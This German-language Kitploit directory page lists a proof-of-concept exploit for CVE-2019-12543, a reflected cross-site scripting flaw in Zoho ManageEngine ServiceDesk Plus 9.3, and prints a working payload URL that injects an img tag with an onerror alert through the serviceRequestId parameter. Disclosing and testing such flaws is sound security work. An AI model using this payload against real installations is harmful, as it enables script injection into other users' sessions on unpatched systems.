Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen

Loading categories

CVE-2019-12543 — Proof-of-Concept-XSS-Exploit für Zoho ManageEngine ServiceDesk Plus 9.3 über den Parameter serviceRequestId von PurchaseRequest.do, der eine reflektierte Cross-Site-Scripting-Schwachstelle demonstriert. | Kitploit

Tools/

GitHub/tarantula-team/cve-2019-12543

Schwachstellenanalyse Webanwendungs-Exploitation Informationsbeschaffung Websicherheit Penetrationstests

tarantula-team/cve-2019-12543

CVE-2019-12543

Proof-of-Concept-XSS-Exploit für Zoho ManageEngine ServiceDesk Plus 9.3 über den Parameter serviceRequestId von PurchaseRequest.do, der eine reflektierte Cross-Site-Scripting-Schwachstelle demonstriert.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Repository anzeigen

2vor 6 Jahren

CVE-2019-12543 Zoho ManageEngine ServiceDesk Plus 9.3 XSS-Schwachstelle in PurchaseRequest.do

Informationsbeschreibung: In Zoho ManageEngine ServiceDesk Plus 9.3 wurde ein Problem entdeckt. Es liegt eine XSS-Schwachstelle über den Parameter serviceRequestId in PurchaseRequest.do vor.

Autor: Concobe vom Tarantula Team - VinCSS (ein Mitglied der Vingroup)

Payload

domain/PurchaseRequest.do?operation=getAssociatedPrsForSR&serviceRequestId=1%3Cimg%20src%3da%20onerror%3dalert(%27XSS%27)%3E1

Tool herunterladen